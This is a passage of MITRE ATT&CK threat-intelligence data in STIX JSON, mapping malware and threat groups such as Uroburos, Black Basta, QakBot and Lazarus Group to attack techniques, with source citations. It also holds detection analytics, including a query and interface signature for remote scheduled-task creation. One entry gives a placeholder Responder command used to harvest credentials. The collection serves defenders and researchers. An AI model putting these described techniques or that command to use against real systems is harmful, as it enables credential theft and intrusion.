2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66d53000-135b-448d-988a-3ff5d53b2c5b","type":"relationship","created":"2021-04-26T13:29:32.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-04-26T13:29:32.712Z","description":"[LookBack](https://attack.mitre.org/software/S0582) can shutdown and reboot the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66db460f-5e90-4a79-a34c-f757f6c0b3ee","created":"2023-06-14T20:28:58.708Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-14T20:28:58.708Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has registered a service named `WerFaultSvc`, likely to spoof the legitimate Windows error reporting service.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66e16e88-626f-49c6-90f1-8c97286ef5dc","created":"2023-06-23T19:43:18.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-23T20:00:00.647Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use a custom base62 and a de-facto base32 encoding that uses digits 0-9 and lowercase letters a-z in C2 communications.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66e36342-6daf-40ac-99b3-efad6734d1b4","created":"2023-08-11T21:24:57.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:06:49.237Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Look for RPC traffic after being mapped, which implies a destination port of at least 49152. If network inspection is available via packet captures or a NIDS, then traffic through the ITaskSchedulerService interface can be detected. Microsoft has a list of the possible methods that are implemented for the ITaskSchedulerService interface, which may be useful in differentiating read and query operations from creations and modifications.\n\nWhen scheduled tasks are created remotely, Windows uses RPC (135/tcp) to communicate with the Task Scheduler on the remote machine. Once an RPC connection is established, the client communicates with the Scheduled Tasks endpoint, which runs within the service group netsvcs. With packet capture and the right packet decoders or byte-stream based signatures, remote invocations of these functions can be identified.\nCertain strings can be identifiers of the schtasks, by looking up the interface UUID of ITaskSchedulerService in different formats\n\n- UUID 86d35949-83c9-4044-b424-db363231fd0c (decoded)\n- Hex 49 59 d3 86 c9 83 44 40 b4 24 db 36 32 31 fd 0c (raw)\n- ASCII IYD@$621 (printable bytes only)\n\nThis identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement an analytic.\n\nAnalytic 1 - Look for RPC traffic with ITaskSchedulerService interface usage.\n\nsourcetype=Netflow OR sourcetype=PacketCapture OR sourcetype=WinEventLog:Security EventCode=5156 \n| search (dest_port=135 OR dest_port=5985 OR dest_port=5986) AND (protocol=\"tcp\" OR protocol=\"udp\") AND (Image=\"taskeng.exe\" OR Image=\"schtasks.exe\")\n| stats count by src_ip dest_ip dest_port\n| where count > threshold ","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66e5238f-c1f7-4094-8c2e-e8e41a4c12f3","type":"relationship","created":"2020-10-15T01:57:09.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-10-15T01:57:09.092Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed digital certificates for use in HTTPS C2 traffic.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66e7e1f3-5113-407f-a07a-299c4b9b68e2","created":"2023-03-08T21:44:39.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Uptycs Black Basta ESXi June 2022","description":"Sharma, S. and Hegde, N. (2022, June 7). Black basta Ransomware Goes Cross-Platform, Now Targets ESXi Systems. Retrieved March 8, 2023.","url":"https://www.uptycs.com/blog/black-basta-ransomware-goes-cross-platform-now-targets-esxi-systems"},{"source_name":"Trend Micro Black Basta Spotlight September 2022","description":"Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T00:31:40.768Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can enumerate specific files for encryption.(Citation: Cyble Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Uptycs Black Basta ESXi June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66e8d05b-6f51-461d-aec0-266970064939","created":"2019-02-21T21:12:55.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"},{"source_name":"Symantec Chafer February 2018","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.782Z","description":"(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66f2f7b3-3df9-4d4a-bedc-ecacac3039e8","created":"2019-01-29T18:55:20.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.662Z","description":"[Remcos](https://attack.mitre.org/software/S0332) has full control of the Registry, including the ability to modify it.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66f2ff8f-abc2-4a6c-9652-89d7c824422c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.222Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66f5e718-f910-487f-852a-98a8d752b0ba","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T19:22:28.803Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has a command to create, set, copy, or delete a specified Registry key or value.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66f7fca6-b5cc-46e4-86a1-204f4b1038fa","created":"2022-09-30T19:10:17.645Z","revoked":false,"external_references":[{"source_name":"Securelist Dtrack","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021.","url":"https://securelist.com/my-name-is-dtrack/93338/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:10:17.645Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) has used a dropper that embeds an encrypted payload as extra data.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66f859b2-4bc2-4520-afd4-8f8a7b71a50c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Wiarp May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}],"modified":"2020-03-19T21:52:07.299Z","description":"[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can inject files into running processes.(Citation: Symantec Wiarp May 2012)","relationship_type":"uses","source_ref":"malware--039814a0-88de-46c5-a4fb-b293db21880a","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66fe07f5-fe08-4ad1-98b6-cb300007fe42","type":"relationship","created":"2022-01-05T16:41:19.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:41:19.744Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has been dropped through exploitation of CVE-2011-2462, CVE-2013-3163, and CVE-2014-0322.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67003297-a35d-452f-b83b-34556115d15c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-04-25T12:24:57.567Z","description":"(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6706d89e-27dd-48bb-ae0b-db51e07cbc91","type":"relationship","created":"2019-02-12T19:56:02.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"},{"source_name":"Trend Micro Xbash Sept 2018","url":"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet","description":"Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019."}],"modified":"2019-06-28T15:15:54.544Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.(Citation: Unit42 Xbash Sept 2018)(Citation: Trend Micro Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670a7586-5833-4e00-903a-c699b9810c13","type":"relationship","created":"2022-02-01T15:24:07.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-04T17:00:04.309Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) executed [Responder](https://attack.mitre.org/software/S0174) using the command [Responder file path] -i [IP address] -rPv on a compromised host to harvest credentials and move laterally.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670d65e8-59a9-46ae-bdb6-6cb94a0528ba","type":"relationship","created":"2020-04-30T18:39:20.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.161Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a custom TCP protocol with four-byte XOR for command and control (C2).(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670dc748-f1c8-4ba3-b999-f942fa42ce50","type":"relationship","created":"2022-03-25T00:25:48.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-25T00:25:48.403Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can create a WMI Event to execute a payload for persistence.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670efee1-b854-4d39-85b1-b6038e3580e3","type":"relationship","created":"2021-09-28T19:49:13.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}],"modified":"2021-09-28T19:49:13.903Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can move laterally using worm-like functionality through exploitation of SMB.(Citation: Crowdstrike Qakbot October 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670f37e1-8de3-441e-bc09-ff95c09ee14d","type":"relationship","created":"2020-03-16T14:12:48.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T14:12:48.061Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6712936f-daa4-4aee-9aff-f2b2071db2c3","created":"2024-08-05T21:40:03.811Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:40:03.811Z","description":"Monitor for newly constructed accounts with names that are unusually generic or identical to recently-deleted accounts.","relationship_type":"detects","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67154159-cd44-4d9c-ae84-c82a8cd5ee58","type":"relationship","created":"2020-07-03T22:15:24.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries","description":"Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.","source_name":"Symantec Patchwork"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"},{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-07-03T22:15:24.515Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to try to get users to click, download and open malicious files.(Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--671a20b9-ad4c-468f-9871-be3545907dd2","created":"2021-03-25T13:39:14.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Targeting Elections September 2020","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/"},{"source_name":"Google Election Threats October 2020","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021.","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/"},{"source_name":"Zscaler APT31 Covid-19 October 2020","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 